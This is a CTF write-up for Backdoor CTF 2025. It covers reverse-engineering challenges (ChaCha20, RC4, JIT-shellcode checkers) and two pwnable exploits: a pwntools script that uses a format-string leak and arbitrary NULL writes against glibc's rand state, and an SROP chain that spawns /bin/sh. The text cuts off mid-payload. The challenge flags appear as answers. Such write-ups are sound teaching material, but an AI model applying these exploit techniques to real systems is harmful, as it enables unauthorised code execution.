Writeups - Backdoor CTF 2025
This post is my writeups for Backdooor CTF 2025 (14 challenges except WEB category) :))
Reverse Engineering
Where code
Description
Another flag checker, eh? But the code is beyond my understanding. It makes my head spin! There’s just too many jumps!
Analysis
Check the main flow of the program: flag checking
unsigned __int64 sub_186A()
{
__int64 v0; // rax
const void *v1; // rax
size_t n; // [rsp+8h] [rbp-68h]
char v4[32]; // [rsp+10h] [rbp-60h] BYREF
__int64 dest[4]; // [rsp+30h] [rbp-40h] BYREF
__int16 v6; // [rsp+50h] [rbp-20h]
unsigned __int64 v7; // [rsp+58h] [rbp-18h]
v7 = __readfsqword(0x28u);
std::string::basic_string(v4);
std::operator<<<std::char_traits<char>>(&std::cout, "Enter the flag: ");
std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v4);
memset(dest, 0, sizeof(dest));
v6 = 0;
if ( (unsigned __int64)std::string::length(v4) > 0x21 )
{
v0 = 0x22LL;
}
else
{
v0 = std::string::length(v4);
}
n = v0;
v1 = (const void *)std::string::c_str(v4);
memcpy(dest, v1, n);
sub_1592(dest, &unk_4280, 0x22LL);
std::string::~string(v4);
return v7 - __readfsqword(0x28u);
}
dest + v6 is a 34-byte buffer on the stack.
Your input (up to 34 bytes) is copied into dest, zero-padded.
Then sub_1592(dest, &unk_4280, 34) is called.
unk_4280 is some global buffer; the real check is likely elsewhere (e.g. later memcmp(&unk_4280, EXPECTED, 34) or vice versa). For solving we just need to understand sub_1592.
Check sub_1592 (Chacha20 cipher)
unsigned __int64 __fastcall sub_1592(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rax
int i; // [rsp+28h] [rbp-B8h]
int j; // [rsp+2Ch] [rbp-B4h]
unsigned __int64 k; // [rsp+30h] [rbp-B0h]
unsigned __int64 m; // [rsp+38h] [rbp-A8h]
int v10[12]; // [rsp+50h] [rbp-90h] BYREF
int v11; // [rsp+80h] [rbp-60h]
char v12[72]; // [rsp+90h] [rbp-50h] BYREF
unsigned __int64 v13; // [rsp+D8h] [rbp-8h]
v13 = __readfsqword(0x28u);
qmemcpy(v10, "expand 32-byte k", 0x10);
for ( i = 0; i <= 7; ++i )
{
v10[i + 4] = (byte_2080[4 * i + 2] << 0x10) | (byte_2080[4 * i + 1] << 8) | byte_2080[4 * i] | (byte_2080[4 * i + 3] << 0x18);
}
v11 = 1;
for ( j = 0; j <= 2; ++j )
{
v10[j + 0xD] = (byte_20A0[4 * j + 2] << 0x10) | (byte_20A0[4 * j + 1] << 8) | byte_20A0[4 * j] | (byte_20A0[4 * j + 3] << 0x18);
}
for ( k = 0LL; k < a3; k += v3 )
{
sub_13A4(v10, v12);
++v11;
v3 = a3 - k;
if ( a3 - k > 0x40 )
{
v3 = 0x40LL;
}
for ( m = 0LL; m < v3; ++m )
{
*(_BYTE *)(m + k + a2) = v12[m] ^ *(_BYTE *)(m + k + a1);
}
}
return v13 - __readfsqword(0x28u);
}
So:
a1= input buffera2= output buffera3= length
sub_13A4 generates a 64-byte block from state v10.
*(a2 + offset) = keystream_byte ^ *(a1 + offset)
That’s exactly how ChaCha20 works: keystream ⊕ plaintext → ciphertext.
The constants give it away:
qmemcpy(v10, "expand 32-byte k", 16) is the ChaCha constant.
sub_1285:
__int64 __fastcall sub_1285(_DWORD *a1, _DWORD *a2, _DWORD *a3, _DWORD *a4)
{
__int64 result; // rax
*a1 += *a2;
*a4 ^= *a1;
*a4 = sub_1269((unsigned int)*a4, 0x10LL);
*a3 += *a4;
*a2 ^= *a3;
*a2 = sub_1269((unsigned int)*a2, 0xCLL);
*a1 += *a2;
*a4 ^= *a1;
*a4 = sub_1269((unsigned int)*a4, 8LL);
*a3 += *a4;
*a2 ^= *a3;
result = sub_1269((unsigned int)*a2, 7LL);
*a2 = result;
return result;
}
is a standard ChaCha quarter-round.
So sub_13A4 is “ChaCha20 block function” and sub_1592 is the ChaCha20 XOR loop.
The hard-coded key & nonce:
byte_2080 db 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh
byte_20A0 db 7 dup(0), 4Ah, 4 dup(0)
byte_2080 is a 32-byte key; only pasted the start, but the pattern is clearly 0x00, 0x01, ... 0x1F.
byte_20A0 is 12 bytes: 00 00 00 00 00 00 00 00 4A 00 00 00 00
That’s a 96-bit nonce: words are [0, 0, 0x4A] in little-endian.
Counter starts at 1.
So the keystream for the first block (counter = 1) is:
key = bytes(range(32)) # 00 01 02 ... 1f
nonce = b'\x00'*7 + b'\x4a' + b'\x00'*4 # 00...00 4a 00 00 00 00
counter = 1
And first 34 bytes of keystream:
22 4f 51 f3 40 1b d9 e1 2f de 27 6f b8 63 1d ed
8c 13 1f 82 3d 2c 06 e2 7e 4f ca ec 9e f3 cf 78
8a 3b
Relation between flag and unk_4280
From the call:
sub_1592(dest, &unk_4280, 34);
get (for 0 ≤ i < 34):
unk_4280[i] = keystream[i] ^ dest[i]
where dest is your (zero-padded) input flag.
That means for the correct flag F and the corresponding stored bytes C (what the program uses in its comparison), the relationship is:
C[i] = F[i] ⊕ KS[i]
⇒ F[i] = C[i] ⊕ KS[i]
So once know the 34 bytes of ciphertext (C), recovering the flag is trivial XOR with the keystream.
This script re-implements the ChaCha20 block exactly as in the binary and recovers the flag from the 34-byte ciphertext.
From the .rodata section, the 34-byte array the checker uses is at offset 0x2040:
44 23 30 94 3b 72 97 d0 70 b8 06 01 d1 3c 50 84
e2 22 40 ef 0d 02 28 cc 4f 10 ee 89 ad ac b6 37
ff 46
Solve
from typing import List
def rotl32(x, n):
return ((x << n) & 0xffffffff) | ((x & 0xffffffff) >> (32 - n))
def quarter_round(a, b, c, d):
a = (a + b) & 0xffffffff; d ^= a; d = rotl32(d, 16)
c = (c + d) & 0xffffffff; b ^= c; b = rotl32(b, 12)
a = (a + b) & 0xffffffff; d ^= a; d = rotl32(d, 8)
c = (c + d) & 0xffffffff; b ^= c; b = rotl32(b, 7)
return a, b, c, d
def chacha_block(key: bytes, counter: int, nonce: bytes) -> bytes:
assert len(key) == 32
assert len(nonce) == 12
def u32_le(b: bytes) -> int:
return int.from_bytes(b, "little")
state = [
u32_le(b"expa"),
u32_le(b"nd 3"),
u32_le(b"2-by"),
u32_le(b"te k"),
]
for i in range(8):
state.append(int.from_bytes(key[4*i:4*i+4], "little"))
state.append(counter)
for i in range(3):
state.append(int.from_bytes(nonce[4*i:4*i+4], "little"))
working = state.copy()
for _ in range(10): # 20 rounds
# column
working[0], working[4], working[8], working[12] = quarter_round(working[0], working[4], working[8], working[12])
working[1], working[5], working[9], working[13] = quarter_round(working[1], working[5], working[9], working[13])
working[2], working[6], working[10], working[14] = quarter_round(working[2], working[6], working[10], working[14])
working[3], working[7], working[11], working[15] = quarter_round(working[3], working[7], working[11], working[15])
# diagonal
working[0], working[5], working[10], working[15] = quarter_round(working[0], working[5], working[10], working[15])
working[1], working[6], working[11], working[12] = quarter_round(working[1], working[6], working[11], working[12])
working[2], working[7], working[8], working[13] = quarter_round(working[2], working[7], working[8], working[13])
working[3], working[4], working[9], working[14] = quarter_round(working[3], working[4], working[9], working[14])
out = [(a + b) & 0xffffffff for a, b in zip(state, working)]
return b"".join(x.to_bytes(4, "little") for x in out)
key = bytes(range(32)) # 00 01 02 ... 1f
nonce = bytes.fromhex("000000000000004a00000000")
enc = bytes.fromhex(
"44 23 30 94 3b 72 97 d0 70 b8 06 01 d1 3c 50 84"
" e2 22 40 ef 0d 02 28 cc 4f 10 ee 89 ad ac b6 37"
" ff 46"
)
ks = chacha_block(key, 1, nonce) # counter = 1
flag = bytes(e ^ k for e, k in zip(enc, ks[:len(enc)]))
print(flag)
print(flag.decode())
FLAG: flag{iN1_f!ni_Min1_m0...1_$e3_yOu}
To jmp or not jmp
Description
Another flag checker, eh? But the code is beyond my understanding. It makes my head spin! There’s just too many jumps!
Analysis
Information
challenge: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3dd27df153c863f59a03dcd6cbbe810abda047bf, for GNU/Linux 3.2.0, stripped
Initial Observations
- The binary uses
libstdc++(evident from functions:_ZSt3cin,_ZSt4cout,std::getlinein PLT) - Contains many
jn/jnejumps to illogical addresses - classic control flow obfuscation - String analysis in IDA Pro reveals an obfuscated string at
0x2020
.rodata:0000000000002020 sza1a9a1fsR db '!a1 a&',0Dh,'9a+',0Dh,' 1fsR'
Key Recovery
The binary contains XOR-based key obfuscation. Tracing the code:
.text:000000000000134C lea rdx, sza1a9a1fsR ; "!a1 a&\r9a+\r 1fsR"
.text:0000000000001353 mov rax, [rbp-8]
.text:0000000000001357 add rax, rdx
.text:000000000000135A movzx eax, byte ptr [rax]
.text:000000000000135D xor eax, 52h
The string sza1a9a1fsR is XORed with 0x52 to reveal the actual key:
b'!a1 a&\r9a+\r 1fsR' ^ 0x52 = b's3cr3t_k3y_rc4!\x00'
RC4 Implementation Analysis
Encrypted Data Location
- At
0x2040: 66 bytes of high-entropy data (ciphertext) - At
0x2088: length value0x42(66 decimal) - At
0x2080: magic value0xf1ed
Algorithm Confirmation
The binary contains a standard RC4 implementation starting at 0x12e6:
- Key Scheduling Algorithm (KSA): Initializes 256-byte S-box at
0x4280 - Pseudo-Random Generation Algorithm (PRGA): Generates keystream bytes at
0x1413-0x14ff
Key structure identified:
- RC4 key:
"s3cr3t_k3y_rc4!"(15 bytes) - Ciphertext: 66 bytes at
0x2040
Solve
Decryption Script
def rc4_ksa(key: bytes):
S = list(range(256))
j = 0
klen = len(key)
for i in range(256):
j = (j + S[i] + key[i % klen]) & 0xff
S[i], S[j] = S[j], S[i]
return S
def rc4_prga(S, n):
i = j = 0
out = []
for _ in range(n):
i = (i + 1) & 0xff
j = (j + S[i]) & 0xff
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) & 0xff]
out.append(K)
return bytes(out)
def rc4_decrypt(key, cipher):
S = rc4_ksa(key)
ks = rc4_prga(S, len(cipher))
return bytes(c ^ k for c, k in zip(cipher, ks))
Flag Extraction
# Extract from binary
key_full = b's3cr3t_k3y_rc4!\x00'
key = key_full[:15] # First 15 bytes as the key
cipher = ro_bytes[0x40:0x40+66] # 66 bytes at offset 0x40
# Decrypt
plain = rc4_decrypt(key, cipher)
print(plain.decode())
Flag: flag{$t0p_JUmp1n9_@R0uNd_1!k3_A_F00l_4nd_gib3_M3333_7H@t_f14g!!!!}
Vault
Description
I heard you are a master at breaking vaults, try to break this one..
Analysis
Based on the challenge name “Vault”, we can guess this is a binary related to shellcode. When opening the file with IDA Pro, we can see the main program flow as follows:
1. Quick recon
file chal
# ELF 64-bit LSB pie executable, x86-64, stripped
readelf -h chal | grep 'Entry point'
# Entry point: 0x1160
readelf -S chal | grep '\.data'
# .data: vaddr 0x4000, file offset 0x3000, size 0x1380
Useful imported functions from the PLT:
printf,puts,__isoc23_scanf,strcspnmmap,munmap,perror,exit
So we immediately suspect some dynamic code generation (JIT) via mmap.
main – input & length check
Disassembling around 0x1460 shows the main function:
- Prints the intro string (vault story) and a prompt.
- Reads the password into a 0x90‑byte stack buffer via
__isoc23_scanf. - Uses
strcspnto strip the trailing newline and stores the length in[rbp-0x98]. - If length !=
0x35(53), it prints an error message and exits. - If length ==
0x35, it calls the verifier at0x1379, passing the pointer to string inrdi.
So we know the only accepted password is exactly 53 bytes long.
The JIT builder (function at 0x1249)
The verifier calls a helper at 0x1249 with edi = index for each character position.
Pseudocode for 0x1249:
void *build_shellcode(int idx) {
// mmap RWX 0x8000 bytes
void *buf = mmap(NULL, 0x8000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) { perror("mmap"); exit(-1); }
// local tmp[57]
for (int j = 0; j <= 0x38; j++) {
// index into a big byte table at .data+0x20 (vaddr 0x4020)
size_t off = idx * 57 + j;
uint8_t b = byte_table_4020[off];
// XOR with a dword from 0x4C00 and keep only the low byte
uint32_t key = dword_table_4C00[idx];
tmp[j] = (uint8_t)(b ^ (uint8_t)key);
}
// then splat tmp[0..56] into `buf` as overlapping qwords,
// resulting in a 57‑byte chunk of executable shellcode.
// Finally return buf;
}
So for each character position i, the program builds a custom 57‑byte piece of code and returns a
function pointer to it.
The verifier (function at 0x1379)
The function at 0x1379 loops over every character of input string:
int check(const char *s) {
int i = 0;
for (;;) {
unsigned char ch = s[i];
if (!ch) break; // end of string
void *code = build_shellcode(i); // 0x1249
uint32_t *pattern = &table_bits_4CE0[i * 8];
uint32_t key = dword_table_4C00[i];
int ok = jit_func(ch, key, 0, 0, pattern); // call via function pointer
if (ok != 1) {
puts("Wrong password");
exit(-1);
}
munmap(code, 0x8000);
i++;
}
puts("Correct password");
return 0;
}
The interesting part is what jit_func actually does with (ch, key, pattern).
Reversing the shellcode
We can reconstruct the shellcode bytes for a given index entirely in Python by mimicking the loop in
0x1249 (that’s exactly what the solver does internally), but to understand the logic we only need one
instance, say for idx = 0.
Once we build those 57 bytes, we disassemble them as raw x86‑64:
# code0.bin contains the first 80 bytes of the mmap'ed shellcode for index 0
objdump -D -b binary -m i386:x86-64 code0.bin
The disassembly (cleaned up) is:
mov ecx, 4 ; start checking from bit 4
xor rdi, rsi ; rdi = ch ^ key
loop_start:
cmp rdx, 8
sete al
je done_success ; if we checked 8 bits, return 1
mov rax, rdi
shr rax, cl ; shift our value by cl bits
and rax, 1 ; keep only the lowest bit
mov rbx, rax
movzbq rax, [r8 + rdx*4] ; pattern[rdx], 8 entries of 0/1
cmp rax, rbx
sete al
jne done_fail ; mismatch -> return 0
inc rdx ; next pattern entry
inc rcx ; next bit of v
and rcx, 7 ; wrap around mod 8
jmp loop_start
done_fail:
ret
done_success:
ret
Call-site register setup (from 0x1379):
rdi= sign-extended input characterrsi= 32‑bit key from table at 0x4C00rdx= 0rcx= 0r8= pointer into the table at 0x4CE0 (8 dwords per character index)
So the abstract logic of the shellcode is:
int jit(int ch, uint32_t key, int zero1, int zero2, uint32_t *pattern) {
unsigned long v = (unsigned long)ch ^ (unsigned long)key;
int bit = 4; // start from bit 4
int k = 0; // pattern index
for (;;) {
if (k == 8) return 1; // all 8 bits matched
unsigned long actual = (v >> bit) & 1;
unsigned long expected = pattern[k] & 1; // 8 entries of 0 or 1
if (actual != expected) return 0;
k++;
bit = (bit + 1) & 7; // 4,5,6,7,0,1,2,3
}
}
Understanding the data tables
From the disassembly:
- Byte table at 0x4020 (vaddr) in
.data– used only to construct the shellcode. - Dword key table at 0x4C00 – 64 entries of 32‑bit keys.
- Dword bit-pattern table at 0x4CE0 – for each character index
i, 8 x 32‑bit integers (0 or 1), i.e. 32 bytes per index.
We don’t actually need the byte table at 0x4020 to solve the challenge; it’s just an obfuscation layer for the JIT. Once we know what the shellcode does, only 0x4C00 and 0x4CE0 matter.
Let:
v_i = password[i] ^ (key[i] & 0xFF);
and let pattern[i][k] be the 8 dwords at 0x4CE0 + i*32 + k*4, each equal to 0 or 1.
The shellcode checks:
pattern[i][0] == bit4(v_i)pattern[i][1] == bit5(v_i)pattern[i][2] == bit6(v_i)pattern[i][3] == bit7(v_i)pattern[i][4] == bit0(v_i)pattern[i][5] == bit1(v_i)pattern[i][6] == bit2(v_i)pattern[i][7] == bit3(v_i)
So each index i has an 8‑bit pattern that exactly encodes the bits of v_i.
Inverting the check
For each position i:
-
Read the 8 dwords from 0x4CE0:
bits[k] = (raw_bits[32*i + 4*k] & 1)fork = 0..7. -
Reconstruct
v_ifrom those bits:v = 0 # bits[0..3] -> bits 4..7 for bitpos in range(4, 8): if bits[bitpos - 4]: v |= (1 << bitpos) # bits[4..7] -> bits 0..3 for bitpos in range(0, 4): if bits[bitpos + 4]: v |= (1 << bitpos) -
Recover the actual password byte as:
ch = v ^ (key[i] & 0xFF)
Doing this for all 53 positions yields a 53‑byte password.
The provided solver (solve_chal.py) implements exactly this logic directly on the chal binary.
Solve
#!/usr/bin/env python3
import struct
FILENAME = "chal" # change if filename is different
def main():
with open(FILENAME, "rb") as f:
data = f.read()
# According to readelf: .data has virtual addr 0x4000 and file offset 0x3000
off_data = 0x3000
# Offsets in .data obtained from disassembly:
# 0x4020: byte table used to build shellcode (57 bytes / index, 64 indexes)
# 0x4c00: dword key table (4 bytes / index, 64 indexes)
# 0x4ce0: bit pattern table (32 bytes / index, 64 indexes)
off_4020 = off_data + 0x20 # 0x4020
off_4c00 = off_data + 0xC00 # 0x4C00
off_4ce0 = off_data + 0xCE0 # 0x4CE0
n_slots = 64
raw_shell = data[off_4020: off_4020 + 57 * n_slots]
raw_keys = data[off_4c00: off_4c00 + 4 * n_slots]
raw_bits = data[off_4ce0: off_4ce0 + 32 * n_slots]
# key[i] is a dword, but shellcode only uses the low byte
keys = [struct.unpack_from("<I", raw_keys, 4 * i)[0] for i in range(n_slots)]
def recover_char(i: int) -> int:
"""
Based on shellcode:
v = ch ^ key_byte
then check 8 bits of v in bitpos order: 4,5,6,7,0,1,2,3
expected bit values are taken from table 4ce0, each index occupies 32 bytes,
but only uses 8 bytes at offset 0,4,8,...,28 (1 byte each time).
We reverse: from 8 expected bits -> v -> ch.
"""
key_byte = keys[i] & 0xFF
# Get 8 bits (actually 8 bytes of 0/1) for index i
bits = [(raw_bits[32 * i + 4 * t] & 1) for t in range(8)]
# Rebuild v = ch ^ key_byte from those bits.
# mapping:
# t=0..3 -> bitpos 4..7
# t=4..7 -> bitpos 0..3
v = 0
# bit 4..7
for bitpos in range(4, 8):
t = bitpos - 4
if bits[t]:
v |= (1 << bitpos)
# bit 0..3
for bitpos in range(0, 4):
t = bitpos + 4
if bits[t]:
v |= (1 << bitpos)
ch = v ^ key_byte
return ch
# main() in binary requires length = 0x35 (53) before calling the check function
length = 0x35
secret = bytes(recover_char(i) for i in range(length))
# Print results
print("Raw password bytes:", list(secret))
print("Raw password hex :", secret.hex())
print("Printable preview :", ''.join(chr(c) if 32 <= c < 127 else '.' for c in secret))
# A reasonable flag format: flag{<password_hex>}
print("\nCandidate flag (password hex-encoded):")
print(f"flag{{{secret.hex()}}}")
if __name__ == "__main__":
main()
FLAG: flag{hm_she11c0d3_v4u17_cr4ck1ng_4r3_t0ugh_r1gh7!!??}
Pwnable
Gamble
Description
My friends and I planned a trip to Gokarna and heard about a famous casino with a machine that almost never lets anyone win, only the truly lucky. I’ve replicated it. Let’s see if you are one of them!
In this challenge, we are given only the binary with a Dockerfile. Libc is important in this challenge, so we need to build the docker image and get libc there
Analysis
- checksec: Every mitigations are used
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
-
Reverse engineering: The challenge allows us to use the following functionalities
- The
login()function allows us to create a new user (if has not existed), or simply switch to an already created user - The
bet()function allows us to place an arbitrary bet amount (with each user can bet only once) - The
gamble()function calls random 5 times, with the results in the range from 0 to 0xfffffffffffff000. If the result falls under 4094, we will get the flag viawin()
- The
-
Vulnerabilities: There are two vulnerabilities in this binary
- Format string vulnerability via stack overflow: The
printf()function at address 0x1998 uses a program defined string as the format string. However, we can overwrite the first 6 bytes of the format string, because the program allows us to write 16 bytes to a 10-byte buffer right before it. - Arbitrary NULL vulnerability: In the
gamble()function, if we lose, it sets the current player balance to zero. However, it does a double dereference (at 0x1BD8), thus instead of zeroing the balance, it sets the address pointed to by the current balance to be 0. As the balance is user input, we can achieve arbitrary NULL.
- Format string vulnerability via stack overflow: The
Exploitation
-
The first thing that we can achive using the 6-byte format string is to leak a variety of addresses (including libc, elf, and stack). However, as I only use libc address in the next steps, I only leak it.
-
The next step is to somehow trick
rand()to return a small value, as the current set up gives us a winning chance of about 1/500000. As we know the libc address and have arbitrary NULL primitive, I decided to dive into libc source code to see how random numbers are generated byrand(). The source code is available at https://elixir.bootlin.com/glibc/glibc-2.39/source/stdlib/random_r.c#L353 -
The
rand()function will eventually call__random_r(), which is indeed quite short
int
__random_r (struct random_data *buf, int32_t *result)
{
int32_t *state;
if (buf == NULL || result == NULL)
goto fail;
state = buf->state;
if (buf->rand_type == TYPE_0)
{
int32_t val = ((state[0] * 1103515245U) + 12345U) & 0x7fffffff;
state[0] = val;
*result = val;
}
else
{
int32_t *fptr = buf->fptr;
int32_t *rptr = buf->rptr;
int32_t *end_ptr = buf->end_ptr;
uint32_t val;
val = *fptr += (uint32_t) *rptr;
/* Chucking least random bit. */
*result = val >> 1;
++fptr;
if (fptr >= end_ptr)
{
fptr = state;
++rptr;
}
else
{
++rptr;
if (rptr >= end_ptr)
rptr = state;
}
buf->fptr = fptr;
buf->rptr = rptr;
}
return 0;
fail:
__set_errno (EINVAL);
return -1;
}
The struct random_data is as follows
struct random_data
{
int32_t *fptr; /* Front pointer. */
int32_t *rptr; /* Rear pointer. */
int32_t *state; /* Array of state values. */
int rand_type; /* Type of random number generator. */
int rand_deg; /* Degree of random number generator. */
int rand_sep; /* Distance between front and rear. */
int32_t *end_ptr; /* Pointer behind state table. */
};
- In short, the
random_data *bufstructure is initialized in libc, with therand_typebeing 3. It can be seen via debugging. So, therand()function of the binary will take the path
int32_t *fptr = buf->fptr;
int32_t *rptr = buf->rptr;
int32_t *end_ptr = buf->end_ptr;
uint32_t val;
val = *fptr += (uint32_t) *rptr;
/* Chucking least random bit. */
*result = val >> 1;
++fptr;
if (fptr >= end_ptr)
{
fptr = state;
++rptr;
}
else
{
++rptr;
if (rptr >= end_ptr)
rptr = state;
}
buf->fptr = fptr;
buf->rptr = rptr;
-
The generation of random number is simply: Maintain two pointers
fptrandrptr, which point to a libc region betweenbuf->stateandbuf->end_ptr(it can also be observed by debugging).fptrorrptris added up after every call for random. If they exceed theend_ptr, they are set back tostate, which is kind of a base pointer. By debugging, we can see that the region is full of random numbers, and the region is (approximately) from offset 0x203020 to 0x2030a0 in libc. An important thing to note is that this region NEVER changes after initialization. So, as the result is(*fptr + *rptr) >> 1, then if we can nullify the region thatfptrandrptrpoint to, therand()function will always return 0. -
We can debug and see exactly which place that we need to null out to achieve that (for example set a break at a
rand()and see which two values are used in that call, and then set it to 0). However, as we are allowed 8 bet times (2 reserved for leaking libc and the final call for flag), I simply null out the first 8 QWORDS of that region. Luckily, it is enough to reachwin(). Also, I try to null out theend_ptr, so thatfptrandrptrgoes back tostate, which is the start of the region, and we have nulled out several QWORDS there.
from pwn import *
context.log_level = 'debug'
p = remote('remote.infoseciitr.in', 8004)
def login(usr_id, usr_name, amount):
p.sendlineafter(b'>', b'1')
p.sendlineafter(b': ', usr_id)
p.sendlineafter(b': ', usr_name)
p.sendlineafter(b': ', amount)
def leak_libc(usr_id):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b': ', usr_id)
p.sendlineafter(b': ', b'A' * 10 + b'%llx')
libc_leak = int('0x' + p.recv(12).decode(), 16)
return libc_leak - 0x203963
def arbitrary_null(usr_id, addr):
login(usr_id, b'a', str(addr // 8).encode())
leak_libc(usr_id)
p.sendlineafter(b'>', b'3')
p.sendlineafter(b': ', usr_id)
for i in range(5):
p.recvuntil(b'gamble...')
p.sendline(b'')
login(b'0', b'a', b'1')
libc_base = leak_libc(b'0')
log.info(f"Libc_base: {hex(libc_base)}")
arbitrary_null(b'1', libc_base + 0x203020)
arbitrary_null(b'2', libc_base + 0x203028)
arbitrary_null(b'3', libc_base + 0x203030)
arbitrary_null(b'4', libc_base + 0x203038)
arbitrary_null(b'5', libc_base + 0x203040)
arbitrary_null(b'6', libc_base + 0x203048)
arbitrary_null(b'7', libc_base + 0x203050)
arbitrary_null(b'8', libc_base + 0x2036c8) ### Null end_ptr (may not be necessary)
arbitrary_null(b'9', libc_base + 0x203058) ### Final to get flag
p.interactive()
Devil’s Convergence
BOOM.
Analysis
High‑Level Design of the Binary
The program is themed around devils from Chainsaw Man. The flow:
- Control Devil (Makima) – first interaction
- War Devil (Yoru) – second interaction
- Bomb Devil (Reze) – final interaction where we gain RIP control
There is also a global 8‑byte variable we’ll call contract_seal, which is crucial. It is initialized at startup via relocations to hold the address of system in libc.
contract_seal
Decompiled/annotated:
uint64_t contract_seal; // global
void initialize(void) {
// ... some story printing ...
// via a GLOB_DAT relocation, contract_seal is set to &system
// in the GOT/PLT resolution process.
}
So at runtime:
contract_seal == (uint64_t)system@libc
This is the secret key used by all three devils.
Control Devil: Low 4 Bytes of system
The Control Devil function (Makima) roughly looks like:
void control_devils_contract(void) {
char buf[4];
puts("[CONTROL DEVIL] Submit to her control:");
read(0, buf, 4); // our input
uint8_t *seal = (uint8_t *)&contract_seal;
for (int i = 0; i < 4; i++) {
buf[i] ^= seal[i]; // XOR with first 4 bytes
}
printf("[CONTROL DEVIL] Your dominated essence: ");
write(1, buf, 4);
putchar('\n');
}
Crucially:
output[i] = input[i] ^ seal[i]
So if we choose a known input (e.g. "AAAA"), then:
seal[i] = output[i] ^ input[i]
This gives us the first 4 bytes of contract_seal.
War Devil: High 4 Bytes of system
The War Devil function (Yoru) is similar, but uses the next 4 bytes of contract_seal:
void war_devils_prophecy(void) {
char buf[4];
puts("[WAR DEVIL] Offer your tribute to War:");
read(0, buf, 4); // our input
uint8_t *seal = (uint8_t *)&contract_seal;
for (int i = 0; i < 4; i++) {
buf[i] ^= seal[i+4]; // XOR with bytes 4..7
}
printf("[WAR DEVIL] Your war essence: ");
write(1, buf, 4);
putchar('\n');
}
Again:
output[i] = input[i] ^ seal[i+4]
=> seal[i+4] = output[i] ^ input[i]
Picking a known input like "BBBB", we recover the high 4 bytes of contract_seal.
Combining both:
key0 = output0 ^ b"AAAA"
key1 = output1 ^ b"BBBB"
key = key0 + key1 # 8 bytes total
system_leak = u64(key) # little-endian decode
Now we have the exact runtime address of system in the remote libc:
system_leak = libc_base + libc.sym['system']
=> libc_base = system_leak - libc.sym['system']
Bomb Devil: Stack Overflow with XOR Obfuscation
The final devil, Bomb Devil (Reze), has the actual memory corruption bug.
Approximate decompilation:
void bomb_devils_contract(void) {
char volatile_mixture[0x200]; // actually allocated on heap via malloc
char buffer[0x50]; // local stack buffer
uint8_t *seal = (uint8_t *)&contract_seal;
puts("[BOMB DEVIL] Infuse your energy into the contract:");
char *ptr = malloc(0x200);
read(0, ptr, 0x200); // read 512 bytes from user
for (int i = 0; i < 0x200; i++) {
ptr[i] ^= seal[i % 8]; // XOR each byte with repeating key
}
memcpy(buffer, ptr, 0x200); // BUG: copies 0x200 into 0x50 buffer
free(ptr);
// function returns, using corrupted stack
}
The problem:
bufferis only0x50bytes.memcpycopies0x200bytes into it.- This overflows into saved
RBPand then saved RIP.
Stack layout:
[buffer, size 0x50] ; at [rbp-0x50]
[saved RBP] ; at [rbp]
[saved RIP] ; at [rbp+8]
So from the start of buffer to saved RIP is:
offset = 0x50 (buffer) + 0x08 (saved RBP) = 0x58
Whatever ends up at buffer[0x58:0x60] becomes the new RIP.
###1. The XOR twist
We don’t control buffer directly. Data flows as:
our_input -> ptr (heap) --XOR with seal--> ptr -> memcpy -> buffer (stack)
So:
buffer[i] = our_input[i] ^ seal[i % 8]
If we want a desired byte D[i] on the stack, we need to send:
our_input[i] = D[i] ^ seal[i % 8]
Since we already recovered all 8 bytes of contract_seal (which is system), we know the XOR key:
key = p64(system_leak) # 8-byte repeating key
Now we can pre‑XOR a desired stack image to get the correct input payload.
ROP vs SROP – Why We Use Sigreturn
We want to eventually call:
system("/bin/sh");
or perform an equivalent execve("/bin/sh", 0, 0).
Given ASLR and PIE, we only know libc base (from the system leak). We must build a ROP chain inside libc.
Looking for a classic ROP chain (pop rdi; ret → system("/bin/sh")) is hard in this libc/gadget set and/or in the challenge’s intended solution. Instead, we use SROP (Sigreturn-Oriented Programming), which works well when:
- We know libc base.
- We can find:
- A
syscallinstruction. - A gadget to set
RAX = 15(thert_sigreturnsyscall number).
- A
- We can build a valid
sigreturnframe on the stack.
Useful libc gadgets
In this provided libc.so.6 we can find:
-
A misaligned gadget that acts as
pop rax; retat offset0xDD237:libc_base + 0xDD237 => pop rax; ret -
A
syscallinstruction at offset0x288B5:libc_base + 0x288B5 => syscall -
The string
"/bin/sh"at offset found by searching:BINSH_OFF = next(libc.search(b"/bin/sh")) # e.g. 0x1cb42f
So at runtime:
pop_rax_ret = libc_base + 0xDD237
syscall = libc_base + 0x288B5
binsh = libc_base + BINSH_OFF
SROP idea
We craft an ROP sequence on the stack:
-
Overwrite RIP with
pop_rax_ret -
Next 8 bytes:
0xf(the syscall number forrt_sigreturn) -
Next 8 bytes:
syscall(the gadget that will invokesyscall) -
Immediately after that, in memory, we place a
SigreturnFramestructure that sets:rax = 59 # SYS_execve rdi = binsh # pointer to "/bin/sh" rsi = 0 rdx = 0 rip = syscall # after sigreturn, do syscall again rsp = something safe # not really used by execve
Execution:
- When
bomb_devils_contractreturns, it jumps topop_rax_ret. pop_rax_retpops the next QWORD intorax→rax = 0xf.- Then
retjumps to the next QWORD →syscall. - That
syscallexecutesrt_sigreturn, which restores registers from the frame we placed on the stack. - Now:
rax = 59(execve)rdi = binshrsi = 0rdx = 0rip = syscall
- The CPU jumps to
syscallagain → executesexecve("/bin/sh", 0, 0)→ shell.
Building the Final Payload
We first build the desired 0x200‑byte stack image desired as if there were no XOR:
offset_to_ret = 0x58 # from buffer start to saved RIP
from pwn import SigreturnFrame
frame = SigreturnFrame()
frame.rax = 59 # execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
frame.rsp = 0
desired = b'A' * offset_to_ret
desired += p64(pop_rax_ret) # overwritten RIP
desired += p64(0xf) # rax = rt_sigreturn
desired += p64(syscall) # syscall; triggers sigreturn
desired += bytes(frame) # sigreturn frame
desired = desired.ljust(0x200, b'\x00') # Bomb Devil copies full 0x200
